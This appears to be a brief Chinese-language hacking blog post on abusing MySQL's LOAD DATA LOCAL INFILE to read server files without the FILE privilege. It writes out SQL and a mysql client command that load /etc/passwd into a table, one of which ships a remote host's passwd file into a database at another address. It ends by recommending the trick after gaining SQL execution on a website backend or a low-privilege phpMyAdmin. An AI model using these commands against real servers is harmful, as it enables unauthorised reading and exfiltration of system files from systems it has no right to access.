mysql某些版本无file全新读取文件

先创建一个表:

CREATE TABLE `test` ( `c` varchar(255) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;

读取文件并写入表:

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';

实际测试mysql新版本(Ubuntu 14.04.1 LTS,5.5.40-0ubuntu0.14.04.1)会提示语句错误:

ERROR 1148 (42000): The used command is not allowed with this MySQL version

一种说法是:如果编译安装mysql时没有指定–enable-local-infile

另一种说法是:5.1或者以上的都支持。具体还需要测试。

测试通过的版本有:

4.1.10a

5.5.40-MariaDB (centos7 default yum install)

待续。。。。

 

但是有种方法是在远程系统上读取文件然后插入数据库里,需要执行mysql命令:

mysql -h 192.168.1.100 -utestsql -p testsql --local-infile=1  -e "LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';"

 

192.168.1.100直接读取passwd写入数据库,提示ERROR 1148 (42000): The used command is not allowed with this MySQL version。

此命令在远程系统192.168.1.20上执行,则把192.168.1.20上的passwd写到192.168.1.100的数据库里。

由此又联想到一个远程传输文件的方法,利用mysql传输本地文件。

最后总结一下利用思路:一般情况下我们得到一个网站后台有执行sql的地方,或者进入某个低权限的phpmyadmin,则可以尝试此方法来读取服务器上的文件。(当然要祈祷它默认支持读取本地文件)。

 

 

上一篇
下一篇